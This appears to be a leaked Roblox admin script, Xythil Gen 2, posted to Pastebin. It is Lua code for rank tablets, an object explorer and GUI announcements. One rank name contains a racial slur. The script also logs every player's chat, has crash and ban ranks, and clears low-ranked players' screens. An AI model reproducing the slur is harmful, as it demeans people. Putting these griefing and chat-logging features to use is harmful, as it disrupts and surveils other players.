Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- wait();
- KeepScript = {}
- DisableAllScripts = false
- script.Parent = nil
- script:ClearAllChildren();
- script.Disabled = false
- Abort = false
- UsersTablets = 'Xythil Gen 2'
- script.Name = 'Xythil'
- Tablets = {};
- reboot = {};
- Ranked = {};
- LocalSourceForSB = 'DSource'
- NoSB = false
- NoLocalsInBackpack = true
- Backup = script:Clone()
- EnableKP = true
- LockedScripts = false
- PRI = false
- PRIType = 'Crash'
- TabletRotation = 360
- TabletRotationIncrease = 0.1
- Ranked['Defaults'] = {
- ['Rank'] = 0,
- ['Color'] = Color3.new(0,0,1),
- ['InPri'] = false,
- ['Desc'] = 'Guest'
- }
- Xythil = {
- ------ Xythil Admin - Leaked by madgamers ----- :)
- ['Ranks'] = function(Name,Rank,Color,Desc)
- Ranked[Name]={Name = Name,Rank = Rank,Color = Color,Desc = Desc or Ranked[Rank]}
- end,
- ['Backup'] = script:Clone(),
- ['NewRank'] = function(Rank,RankName)
- Ranks[Rank]=RankName
- end
- }
- Removed = false
- GuiChat = false
- Commands = {};
- Ranks = {};
- --[[+Ranks+]]--
- Xythil.NewRank(-3,'Shutdown NiiGGA') -- Shutdown
- Xythil.NewRank(-2,'Crashed') -- Crashed
- Xythil.NewRank(-1,'Banned') -- Kicked
- Xythil.NewRank(-0.5,'Scum') -- A Nickname
- Xythil.NewRank(0,'Guest')
- Xythil.NewRank(1,'Low Admin')
- Xythil.NewRank(2,'User2')
- Xythil.NewRank(3,'User3')
- Xythil.NewRank(4,'Administator')
- Xythil.NewRank(5,'Moderator')
- Xythil.NewRank(6,'Developer')
- Xythil.NewRank(7,'Creator')
- YourBet = ";"
- YourBet2 = "-"
- --[[+Chat Log+]]--
- local ChatLog = {}
- game:GetService("Players").ChildAdded:connect(function(p)
- if not p:IsA("Player") then return end
- p.Chatted:connect(function(m)
- table.insert(ChatLog,{Speaker=p,Message=m})
- end)
- end)
- --[[+Make Tablets+]]--
- MakeTablets=function()
- CurrentTabletPart = Instance.new('Part')
- CurrentTabletPart.FormFactor = "Custom"
- CurrentTabletPart.TopSurface = "Smooth"
- CurrentTabletPart.BottomSurface = "Smooth"
- CurrentTabletPart.Transparency = 0.34325
- CurrentTabletPart.Material = 'Plastic'
- CurrentTabletPart.Anchored = true
- CurrentTabletPart.Locked = true
- CurrentTabletPart.CanCollide = false
- CurrentTabletPart.Size = Vector3.new(2.8,2.8,2.8)
- CurrentTabletPart:BreakJoints() end
- MakeTablets()
- LocalScript = nil
- --[[+Kicking Phrases+]]--
- KickingPhrases = {"ban%W+ne","crash%W+ne","kick%W+ne","lag%W+ne","bb%W+ne","bsod%W+ne","delay%W+ne",
- "getridof%W+ne","shut%W+ne","ban%W+c2","crash%W+c2","kick%W+c2","lag%W+c2","bb%W+c2","bsod%W+c2","delay%W+c2",
- "getridof%W+c2","shut%W+c2","ban%W+io","crash%W+io","kick%W+io","lag%W+io","bb%W+io","bsod%W+io","delay%W+io",
- "getridof%W+io","shut%W+io","JointInstance","bomblover:Kick","IoveIong:Kick",",iTov:Kick","Anti Kick",
- ":teleport","exitium","function lag()","game.Players:ClearAllChildren","CBA =","while true do end","repeat until %S"}
- Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
- "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
- "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
- "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
- "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
- "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
- "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
- "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
- "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
- "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
- "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
- "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
- "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
- "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
- "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
- "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
- "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
- "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
- "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
- "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
- "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
- "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
- "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
- "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
- "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
- "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
- "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
- "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
- "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
- "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
- "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
- "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
- "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
- "MouseButton2UpConnectionCount","MouseXythil Generation 2","MouseDragConnectionCount","MouseEnterConnectionCount",
- "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
- "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
- "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
- "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
- "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
- "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
- "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
- "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
- "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
- "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
- "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
- "SizeOffset","SkinColor","XythilboxBk","XythilboxDn","XythilboxFt","XythilboxLf","XythilboxRt","XythilboxUp",
- "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
- "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
- "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
- "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
- "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
- "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
- "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
- "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
- "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
- "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
- "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
- "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
- "X","Y","ZIndex"}
- GetProperties = function(Parent)
- local Out = {}
- for _, props in pairs(Properties) do
- local Ran, Error = coroutine.resume(coroutine.create(function() Parent[props] = Parent[props] end))
- if not Error then
- table.insert(Out, props)
- end
- end
- return Out
- end
- rename=function(Item,Player,CurrentName)
- RemoveTablets(Player)
- Done=false
- Str=CurrentName
- Caps=false
- if CurrentName==Item.Name then Str="" end
- Alphabet = {
- "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"
- }
- Output('Current Rename Name : ' .. Str,'Green',Player)
- Output('Letters : ' ..tostring(#Str),'Red',Player)
- Output('Switch to caps','Green',Player,nil,function() RemoveTablets(Player) for _,v in pairs(Alphabet) do Output(string.upper(v),'Orange',Player,nil,function() Str=Str..string.upper(v) rename(Item,Player,Str) end ) end end)
- Output('Stop renaming','Red',Player,nil,function() Done=true RemoveTablets(Player) Output(Item.Name .. "'s new name is: " .. Str,'Green',Player) Item.Name=CurrentName end)
- for _,Letter in pairs(Alphabet) do
- Output(Letter,'Orange',Player,nil,function() Str= Str..Letter RemoveTablets(Player) rename(Item,Player,Str) end )
- end
- Output('Space','Orange',Player,nil,function() Str=Str..' ' RemoveTablets(Player) rename(Item,Player,Str) end )
- Output('Go back one','Red',Player,nil,function() Str = Str:sub(1,#Str-1) RemoveTablets(Player) rename(Item,Player,Str) end )
- end
- --[[+Get Time+]]--
- function UpdateTablets()
- TabletRotation = TabletRotation + TabletRotationIncrease/90
- for _,Player in pairs(GetPlayers()) do
- local PlayerTablets = {}
- local Current = 0
- for i,v in pairs(Tablets) do
- if v.Model.Parent == nil or v.Part.Parent == nil then
- pcall(function() v.Model:Destroy() end)
- Tablets[i] = nil
- elseif v.Player == Player.Name then
- table.insert(PlayerTablets,v)
- end
- end
- for i = 1, #PlayerTablets do
- radius = 8 + (#PlayerTablets * 0.6)
- local Pos = nil
- pcall(function() Pos = Player.Character.Torso.CFrame end)
- if Pos == nil then return end
- local Main = (i / #PlayerTablets - (0.5 / #PlayerTablets) + TabletRotation/(#PlayerTablets/10)) * math.pi * 2
- local x = math.sin(Main) * radius
- local y = math.sin(time() / 5)
- local z = math.cos(Main) * radius
- local aPos = Vector3.new(x, y, z) + Pos.p
- local bPos = PlayerTablets[i].Part.CFrame.p
- local cPos = (aPos * .1 + bPos * .9)
- PlayerTablets[i].Part.CFrame = CFrame.new(cPos, Pos.p)
- * CFrame.Angles(
- math.rad((TabletRotation*90)*math.pi),
- math.rad((TabletRotation*180)*math.pi),
- math.rad((TabletRotation*90)*math.pi)
- )
- end
- end
- end
- function SystemMsg(str)
- for _,Player in pairs(game.Players:GetPlayers()) do
- coroutine.wrap(function()
- local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
- local Text = Instance.new("TextLabel", Msg)
- Text.Position = UDim2.new(0, 0, 0, 0)
- Text.Font='ArialBold'
- Text.FontSize = "Size48"
- Text.BackgroundColor3 = Color3.new(-1,-1,-1)
- Text.BackgroundTransparency = 0.5
- Text.TextColor3 = Color3.new(0,0,1)
- Text.TextTransparency = 1
- Text.TextStrokeColor3 = Color3.new(0,0,0)
- Text.TextStrokeTransparency = 1
- Text.TextWrap = true
- Text.Text = ' ' .. tostring(str)
- Text:TweenSizeAndPosition(UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 0, 0), "Out", "Back", 2)
- Text.TextTransparency = 0.1
- Num = #str * 0.06
- wait(6)
- Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
- wait(Num)
- Msg:Remove()
- end)()
- end
- end
- function GetTime()
- local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
- if min < 10 then min = "0"..min end
- return hour..":"..min
- end
- nillog = {}
- ----[[+Log+]]----
- loggit = function(msg)
- table.insert(nillog, GetTime()..' - '..msg)
- end
- loggit('')
- --[[+Explorer+]]--
- function Explore(Area,Speaker)
- pcall(function()
- RemoveTablets(Speaker)
- local Color = Ranked[Speaker.Name].Color
- if Area == Services or Area == nil then
- for _,v in pairs(Services) do
- local radius = 250
- Output(v.className.."\t("..#v:children()..")",Color,Speaker,nil,
- function()
- Explore(v,Speaker)
- end
- )
- end
- Output("Dismiss","Red",Speaker)
- else
- for i,v in pairs(Area:children()) do
- local Name = false
- pcall(function() v:children() Name = true end)
- if Name == true then
- Name = v.Name
- else
- Name = "Unknown Exception "..tostring(i)
- end
- Output(Name,Color,Speaker,nil,
- function()
- RemoveTablets(Speaker)
- Output("Name:\t"..v.Name,"White",Speaker)
- Output("Class:\t"..v.className,Color,Speaker)
- Output("Full Name:\t"..v:GetFullName(),"Cyan",Speaker)
- Output("Destroy Object","Red",Speaker,nil,function() v:Destroy() Explore(v.Parent,Speaker) end)
- Output("View Parent","Blue",Speaker,nil,function() Explore(v.Parent.Parent,Speaker) end)
- Output("View Children","Blue",Speaker,nil,function() Explore(v,Speaker) end)
- Output('Clear all children','Red',Speaker,nil,function() v:ClearAllChildren() end)
- Output('Rename','Yellow',Speaker,nil,function() RemoveTablets(Speaker) rename(v,Speaker,v.Name) end )
- Output("Dismiss","Red",Speaker)
- local Properties=GetProperties(v)
- for _,p in pairs(Properties) do
- Output(tostring(p) .. ': ' .. tostring(v[p]),Color,Speaker)
- end
- end
- )
- end
- Output("Dismiss","Red",Speaker)
- end
- end)
- end
- --[[+Extras+]]--
- -- All the colors
- Colors = {
- ["Light blue"] = Color3.new(0.705882, 0.823529, 0.894118);
- ["Royal purple"] = Color3.new(0.384314, 0.145098, 0.819608);
- ["Dark orange"] = Color3.new(0.627451, 0.372549, 0.207843);
- ["Lig. yellowish green"] = Color3.new(0.85098, 0.894118, 0.654902);
- ["Light grey"] = Color3.new(0.780392, 0.756863, 0.717647);
- ["Yellow flip/flop"] = Color3.new(0.705882, 0.517647, 0.333333);
- ["Light bluish violet"] = Color3.new(0.756863, 0.792157, 0.870588);
- ["Tr. Flu. Yellow"] = Color3.new(1, 0.964706, 0.482353);
- ["Earth blue"] = Color3.new(0.12549, 0.227451, 0.337255);
- ["Grey"] = Color3.new(0.631373, 0.647059, 0.635294);
- ["Tr. Medi. reddish violet"] = Color3.new(0.894118, 0.678431, 0.784314);
- ["Medium Royal blue"] = Color3.new(0.423529, 0.505882, 0.717647);
- ["Light orange brown"] = Color3.new(0.796079, 0.517647, 0.258824);
- ["Dark Curry"] = Color3.new(0.690196, 0.556863, 0.266667);
- ["Medium green"] = Color3.new(0.631373, 0.768628, 0.54902);
- ["Sand green"] = Color3.new(0.470588, 0.564706, 0.509804);
- ["Tr. Flu. Blue"] = Color3.new(0.811765, 0.886275, 0.968628);
- ["Neongreen"] = Color3.new(0.847059, 0.866667, 0.337255);
- ["Light lilac"] = Color3.new(0.654902, 0.662745, 0.807843);
- ["Lime green"] = Color3.new(0, 1, 0);
- ["Light red"] = Color3.new(0.933333, 0.768628, 0.713726);
- ["Camo"] = Color3.new(0.227451, 0.490196, 0.0823529);
- ["Turquoise"] = Color3.new(0.47451, 0.709804, 0.709804);
- ["Light yellow"] = Color3.new(0.976471, 0.913726, 0.6);
- ["Sand yellow"] = Color3.new(0.584314, 0.541176, 0.45098);
- ["Light orange"] = Color3.new(0.917647, 0.721569, 0.572549);
- ["Lilac"] = Color3.new(0.419608, 0.384314, 0.607843);
- ["Bright blue"] = Color3.new(0.0509804, 0.411765, 0.67451);
- ["Black metallic"] = Color3.new(0.0862745, 0.113725, 0.196078);
- ["Tr. Flu. Red"] = Color3.new(0.882353, 0.643137, 0.760784);
- ["Pastel orange"] = Color3.new(1, 0.788235, 0.788235);
- ["Medium bluish violet"] = Color3.new(0.407843, 0.454902, 0.67451);
- ["Navy blue"] = Color3.new(0, 0.12549, 0.376471);
- ["Sand red"] = Color3.new(0.584314, 0.47451, 0.466667);
- ["Olive"] = Color3.new(0.756863, 0.745098, 0.258824);
- ["Curry"] = Color3.new(0.843137, 0.662745, 0.294118);
- ["Medium red"] = Color3.new(0.854902, 0.52549, 0.478431);
- ["Bright orange"] = Color3.new(0.854902, 0.521569, 0.254902);
- ["Earth orange"] = Color3.new(0.384314, 0.278431, 0.196078);
- ["Reddish brown"] = Color3.new(0.411765, 0.25098, 0.156863);
- ["Sand violet metallic"] = Color3.new(0.584314, 0.556863, 0.639216);
- ["Tr. Lg blue"] = Color3.new(0.756863, 0.87451, 0.941177);
- ["Tr. Yellow"] = Color3.new(0.968628, 0.945098, 0.552941);
- ["Bright reddish lilac"] = Color3.new(0.556863, 0.258824, 0.521569);
- ["Tr. Flu. Green"] = Color3.new(0.972549, 0.945098, 0.517647);
- ["Light bluish green"] = Color3.new(0.717647, 0.843137, 0.835294);
- ["Brown"] = Color3.new(0.486275, 0.360784, 0.27451);
- ["Neon orange"] = Color3.new(0.835294, 0.45098, 0.239216);
- ["Really red"] = Color3.new(1, 0, 0);
- ["Teal"] = Color3.new(0.0705882, 0.933333, 0.831373);
- ["Warm yellowish orange"] = Color3.new(0.921569, 0.721569, 0.498039);
- ["Tr. Flu. Reddish orange"] = Color3.new(0.85098, 0.521569, 0.423529);
- ["Dark red"] = Color3.new(0.482353, 0.180392, 0.184314);
- ["White"] = Color3.new(0.94902, 0.952941, 0.952941);
- ["Pastel violet"] = Color3.new(0.694118, 0.654902, 1);
- ["Silver flip/flop"] = Color3.new(0.537255, 0.529412, 0.533333);
- ["Dark green"] = Color3.new(0.156863, 0.498039, 0.278431);
- ["Br. yellowish orange"] = Color3.new(0.886275, 0.607843, 0.25098);
- ["Medium orange"] = Color3.new(0.878431, 0.596078, 0.392157);
- ["Bright red"] = Color3.new(0.768628, 0.156863, 0.109804);
- ["Med. bluish green"] = Color3.new(0.333333, 0.647059, 0.686275);
- ["Flame yellowish orange"] = Color3.new(0.909804, 0.670588, 0.176471);
- ["Lig. Yellowich orange"] = Color3.new(0.952941, 0.811765, 0.607843);
- ["Dark stone grey"] = Color3.new(0.388235, 0.372549, 0.384314);
- ["Grime"] = Color3.new(0.498039, 0.556863, 0.392157);
- ["Red flip/flop"] = Color3.new(0.592157, 0.411765, 0.356863);
- ["Sand blue"] = Color3.new(0.454902, 0.52549, 0.615686);
- ["Light grey metallic"] = Color3.new(0.670588, 0.678431, 0.67451);
- ["Tr. Green"] = Color3.new(0.517647, 0.713726, 0.552941);
- ["Bright purple"] = Color3.new(0.803922, 0.384314, 0.596078);
- ["Sand blue metallic"] = Color3.new(0.47451, 0.533333, 0.631373);
- ["Tr. Red"] = Color3.new(0.803922, 0.329412, 0.294118);
- ["Bright reddish violet"] = Color3.new(0.572549, 0.223529, 0.470588);
- ["Med. yellowish green"] = Color3.new(0.780392, 0.823529, 0.235294);
- ["Light stone grey"] = Color3.new(0.898039, 0.894118, 0.87451);
- ["Lemon metalic"] = Color3.new(0.509804, 0.541176, 0.364706);
- ["Black"] = Color3.new(0.105882, 0.164706, 0.207843);
- ["Dark grey"] = Color3.new(0.427451, 0.431373, 0.423529);
- ["Flame reddish orange"] = Color3.new(0.811765, 0.376471, 0.141176);
- ["Lavender"] = Color3.new(0.54902, 0.356863, 0.623529);
- ["Sand yellow metallic"] = Color3.new(0.576471, 0.529412, 0.403922);
- ["Br. yellowish green"] = Color3.new(0.643137, 0.741176, 0.278431);
- ["CGA brown"] = Color3.new(0.666667, 0.333333, 0);
- ["Deep orange"] = Color3.new(1, 0.686275, 0);
- ["Cool yellow"] = Color3.new(0.992157, 0.917647, 0.552941);
- ["Pastel brown"] = Color3.new(1, 0.8, 0.6);
- ["Pastel yellow"] = Color3.new(1, 1, 0.8);
- ["Bright bluish violet"] = Color3.new(0.262745, 0.329412, 0.576471);
- ["Pastel green"] = Color3.new(0.8, 1, 0.8);
- ["Alder"] = Color3.new(0.705882, 0.501961, 1);
- ["Brick yellow"] = Color3.new(0.843137, 0.772549, 0.603922);
- ["Medium lilac"] = Color3.new(0.203922, 0.168627, 0.458824);
- ["Bright yellow"] = Color3.new(0.960784, 0.803922, 0.188235);
- ["Sand violet"] = Color3.new(0.529412, 0.486275, 0.564706);
- ["Faded green"] = Color3.new(0.439216, 0.584314, 0.470588);
- ["Pastel blue-green"] = Color3.new(0.623529, 0.952941, 0.913726);
- ["Magenta"] = Color3.new(0.666667, 0, 0.666667);
- ["Gold"] = Color3.new(0.862745, 0.737255, 0.505882);
- ["Med. yellowish orange"] = Color3.new(0.905882, 0.67451, 0.345098);
- ["Toothpaste"] = Color3.new(0, 1, 1);
- ["Cyan"] = Color3.new(0.0156863, 0.686275, 0.92549);
- ["Deep blue"] = Color3.new(0.129412, 0.329412, 0.72549);
- ["Pink"] = Color3.new(1, 0.4, 0.8);
- ["New Yeller"] = Color3.new(1, 1, 0);
- ["Fire Yellow"] = Color3.new(0.976471, 0.839216, 0.180392);
- ["Tr. Blue"] = Color3.new(0.482353, 0.713726, 0.909804);
- ["Medium blue"] = Color3.new(0.431373, 0.6, 0.792157);
- ["Earth green"] = Color3.new(0.152941, 0.27451, 0.176471);
- ["Tr. Brown"] = Color3.new(0.74902, 0.717647, 0.694118);
- ["Light green (Mint)"] = Color3.new(0.760784, 0.854902, 0.721569);
- ["Really blue"] = Color3.new(0, 0, 1);
- ["Transparent"] = Color3.new(0.92549, 0.92549, 0.92549);
- ["Bright green"] = Color3.new(0.294118, 0.592157, 0.294118);
- ["Royal blue"] = Color3.new(0.27451, 0.403922, 0.643137);
- ["Dark Royal blue"] = Color3.new(0.137255, 0.278431, 0.545098);
- ["Medium stone grey"] = Color3.new(0.639216, 0.635294, 0.647059);
- ["Dusty Rose"] = Color3.new(0.639216, 0.294118, 0.294118);
- ["Hot pink"] = Color3.new(1, 0, 0.74902);
- ["Bright bluish green"] = Color3.new(0, 0.560784, 0.611765);
- ["Bright violet"] = Color3.new(0.419608, 0.196078, 0.486275);
- ["Pastel Blue"] = Color3.new(0.501961, 0.733333, 0.858824);
- ["Rust"] = Color3.new(0.560784, 0.298039, 0.164706);
- ["Dove blue"] = Color3.new(0.490196, 0.733333, 0.866667);
- ["Really black"] = Color3.new(0.0666667, 0.0666667, 0.0666667);
- ["Dark grey metallic"] = Color3.new(0.341176, 0.345098, 0.341176);
- ["Mid gray"] = Color3.new(0.803922, 0.803922, 0.803922);
- ["Nougat"] = Color3.new(0.8, 0.556863, 0.411765);
- ["Med. reddish violet"] = Color3.new(0.768628, 0.439216, 0.627451);
- ["Reddish lilac"] = Color3.new(0.588235, 0.439216, 0.623529);
- ["Earth yellow"] = Color3.new(0.407843, 0.360784, 0.262745);
- ["Light brick yellow"] = Color3.new(0.941177, 0.835294, 0.627451);
- ["Light pink"] = Color3.new(0.862745, 0.564706, 0.584314);
- ["Silver"] = Color3.new(0.611765, 0.639216, 0.658824);
- ["Light purple"] = Color3.new(0.894118, 0.678431, 0.784314);
- ["Light Royal blue"] = Color3.new(0.623529, 0.764706, 0.913726);
- ["Institutional white"] = Color3.new(0.972549, 0.972549, 0.972549);
- ["Pastel light blue"] = Color3.new(0.686275, 0.866667, 1);
- ["Phosph. White"] = Color3.new(0.92549, 0.909804, 0.870588);
- ["Dark nougat"] = Color3.new(0.682353, 0.478431, 0.34902);
- ["Light reddish violet"] = Color3.new(0.909804, 0.729412, 0.784314);
- ["Tr. Bright bluish violet"] = Color3.new(0.647059, 0.647059, 0.796079);
- ["Gun metallic"] = Color3.new(0.458824, 0.423529, 0.384314);
- ["Br. reddish orange"] = Color3.new(0.827451, 0.435294, 0.298039);
- ["Red"] = Color3.new(1,0,0),
- ["PinkRed"] = Color3.new(1,0,0.5),
- ["Orange"] = Color3.new(1,0.5,0),
- ["Yellow"] = Color3.new(1,1,0),
- ["Green"] = Color3.new(0,1,0),
- ["Blue"] = Color3.new(0,0,1),
- ["LightBlue"] = Color3.new(0,1,1),
- ["Pink"] = Color3.new(1,0,1),
- ["Magenta"] = Color3.new(0.54,0,0.54),
- ["Cyan"] = Color3.new(0,0.6,1),
- ["White"] = Color3.new(1,1,1),
- ["Grey"] = Color3.new(0.5,0.5,0.5),
- ["Black"] = Color3.new(0,0,0)
- }
- print = function(Text)
- for _,player in pairs(game.Players:GetPlayers()) do
- if Ranked[player.Name].Rank > 1 then
- Output(Text,'White',player)
- end
- end
- end
- coroutine.resume(coroutine.create(function()
- while wait() do
- if NoSB then
- for _,v in pairs(GetPlayers(Msg, Speaker)) do
- if Ranked[v.Name].Rank < 1 then
- v.PlayerGui:ClearAllChildren()
- end end
- end
- end
- end))
- Services = {
- ["Game"] = Game;
- ["RunService"] = game:GetService("RunService");
- ["Workspace"] = game:GetService("Workspace");
- ["Lighting"] = game:GetService("Lighting");
- ["Debris"] = game:GetService("Debris");
- ["Players"] = game:GetService("Players");
- ["Teams"] = game:GetService("Teams");
- ["InsertService"] = game:GetService("InsertService");
- ["SoundService"] = game:GetService("SoundService");
- ["ScriptContext"] = game:GetService("ScriptContext");
- ["NetworkServer"] = game:GetService("NetworkServer");
- ["StarterGui"] = game:GetService("StarterGui");
- ["StarterPack"] = game:GetService("StarterPack");
- ["ContentProvider"] = game:service'ContentProvider',
- ["ContentFilter"] = game:service'ContentFilter',
- ["KeyframeSequenceProvider"] = game:service'KeyframeSequenceProvider',
- ["GuiService"] = game:service'GuiService',
- ["Chat"] = game:service'Chat',
- ["LocalBackpack"] = game:service'LocalBackpack',
- ["JointsService"] = game:service'JointsService',
- ["CollectionService"] = game:service'CollectionService',
- ["PhysicsService"] = game:service'PhysicsService',
- ["BadgeService"] = game:service'BadgeService',
- ["Geometry"] = game:service'Geometry',
- ["FriendService"] = game:service'FriendService',
- ["RenderHooksService"] = game:service'RenderHooksService',
- ["SocialService"] = game:service'SocialService',
- ["TimerService"] = game:service'TimerService',
- ["ScriptInformationProvider"] = game:service'ScriptInformationProvider',
- ["CookiesService"] = game:service'CookiesService',
- ["TeleportService"] = game:service'TeleportService',
- ["PersonalServerService"] = game:service'PersonalServerService',
- ["Selection"] = game:service'Selection',
- ["MeshContentProvider"] = game:service'MeshContentProvider',
- ["TextureContentProvider"] = game:service'TextureContentProvider',
- ["TextService"] = game:service'TextService',
- ["ControllerService"] = game:service'ControllerService',
- ["Visit"] = game:service'Visit',
- ["ChangeHistoryService"] = game:service'ChangeHistoryService',
- ["ReplicatedStorage"] = game:service'ReplicatedStorage',
- }
- Announce = function(msg,fs)
- if fs == true then
- for i,v in pairs(game:GetService("Players"):GetPlayers()) do
- if v:findFirstChild("PlayerGui") then
- local sg = Instance.new("ScreenGui", v.PlayerGui)
- sg.Name = "Xythil ScreenGui FullScreen "..math.random(999999)
- local fr = Instance.new("Frame", sg)
- fr.Name = "Main"
- fr.Size = UDim2.new(0, 0, 0, 0)
- fr.Position = UDim2.new(0, 0, 0, 0)
- fr.BackgroundTransparency = 1
- fr.BackgroundColor3 = Color3.new(-1,-1,-1)
- fr.BorderColor3 = Color3.new(1,1,1)
- local tl = Instance.new("TextLabel", fr)
- tl.Size = UDim2.new(1, 0, 1, 0)
- tl.BackgroundTransparency = 1
- tl.TextColor3 = Color3.new(1,1,1)
- tl.FontSize = "Size24"
- tl.Text = string.gsub(msg, "", "\5")
- tl.Name = "Text"
- tl.TextTransparency = 1
- pcall(function() game:GetService("Debris"):AddItem(sg, 4) end)
- fr:TweenSize(UDim2.new(1, 0, 1, 0), "Out", "Quad", 1)
- coroutine.resume(coroutine.create(function()
- wait(2)
- tl:remove()
- fr:TweenSize(UDim2.new(0, 0, 0, 0), "Out", "Quad", 1)
- end))
- end
- end
- else
- local sg
- local function GetNumAlerts(Par)
- local Num = 0
- if Par == nil then return 0 end
- for i, Obj in pairs(Par:GetChildren()) do
- if Obj.Name:lower():find(string.lower("Xythil ScreenGui Hint")) or Obj.Name:upper():find(string.upper("Xythil ScreenGui Hint")) then
- Num = Num + 1
- end
- end
- return Num
- end
- for i,v in pairs(game:GetService("Players"):GetPlayers()) do
- if v:findFirstChild("PlayerGui") then
- sg = Instance.new("ScreenGui", v.PlayerGui)
- sg.Name = "Xythil ScreenGui Hint "..math.random(999999)
- local num = 0.025 + (-0.025+0.025*GetNumAlerts(sg.Parent))
- local fr = Instance.new("Frame", sg)
- fr.Name = "Main"
- fr.Size = UDim2.new(1, 0, 0.025, 0)
- fr.Position = UDim2.new(-1, 0, num, 0)
- fr.BackgroundTransparency = 0.1
- fr.BackgroundColor3 = Color3.new(1, 1, 1)
- fr.BorderColor3 = Color3.new(0, 0, 0)
- local tl = Instance.new("TextLabel", fr)
- tl.Size = UDim2.new(1, 0, 1, 0)
- tl.BackgroundTransparency = 1
- tl.TextColor3 = Color3.new(-1,-1,-1)
- tl.FontSize = "Size18"
- tl.Text = string.gsub(msg, "", "\5")
- tl.Name = "Text"
- tl.TextTransparency = 0
- pcall(function() game:GetService("Debris"):AddItem(sg, 4) end)
- fr:TweenPosition(UDim2.new(0, 0, num, 0), "Out", "Quad", 1)
- coroutine.resume(coroutine.create(function()
- wait(3)
- tl:remove()
